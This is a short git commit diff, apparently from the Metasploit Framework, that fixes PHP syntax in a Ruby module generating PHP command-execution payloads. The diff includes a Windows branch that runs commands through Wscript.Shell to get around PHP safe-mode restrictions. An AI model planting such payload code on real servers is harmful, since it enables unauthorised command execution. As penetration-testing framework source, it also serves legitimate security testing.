ugh, i'm bouncing between too many languages, this syntax doesn't even work in php. fixes #2495
git-svn-id: file:///home/svn/framework3/trunk@10240 4d416f70-5f16-0410-b530-b9f4589650da
This commit is contained in:
parent
cef87782d7
commit
85cdc7ad78
|
@ -48,7 +48,7 @@ module Msf::Payload::Php
|
||||||
in_array = '$' + Rex::Text.rand_text_alpha(rand(4) + 4)
|
in_array = '$' + Rex::Text.rand_text_alpha(rand(4) + 4)
|
||||||
|
|
||||||
setup = "
|
setup = "
|
||||||
if (!(strtolower(PHP_OS) =~ 'win')) {
|
if (FALSE !== strpos(strtolower(PHP_OS), 'win' )) {
|
||||||
#{cmd}=#{cmd}.\" 2>&1\\n\";
|
#{cmd}=#{cmd}.\" 2>&1\\n\";
|
||||||
}
|
}
|
||||||
#{is_callable}='is_callable';
|
#{is_callable}='is_callable';
|
||||||
|
@ -102,7 +102,7 @@ module Msf::Payload::Php
|
||||||
# objects (which are not subject to safe mode restrictions) instead of
|
# objects (which are not subject to safe mode restrictions) instead of
|
||||||
# PHP functions.
|
# PHP functions.
|
||||||
win32_com = "
|
win32_com = "
|
||||||
if (strtolower(PHP_OS) =~ 'win') {
|
if (FALSE !== strpos(strtolower(PHP_OS), 'win' )) {
|
||||||
$wscript = new COM('Wscript.Shell');
|
$wscript = new COM('Wscript.Shell');
|
||||||
$wscript->run(#{cmd} . ' > %TEMP%\\out.txt');
|
$wscript->run(#{cmd} . ' > %TEMP%\\out.txt');
|
||||||
#{output} = file_get_contents('%TEMP%\\out.txt');
|
#{output} = file_get_contents('%TEMP%\\out.txt');
|
||||||
|
|
Loading…
Reference in New Issue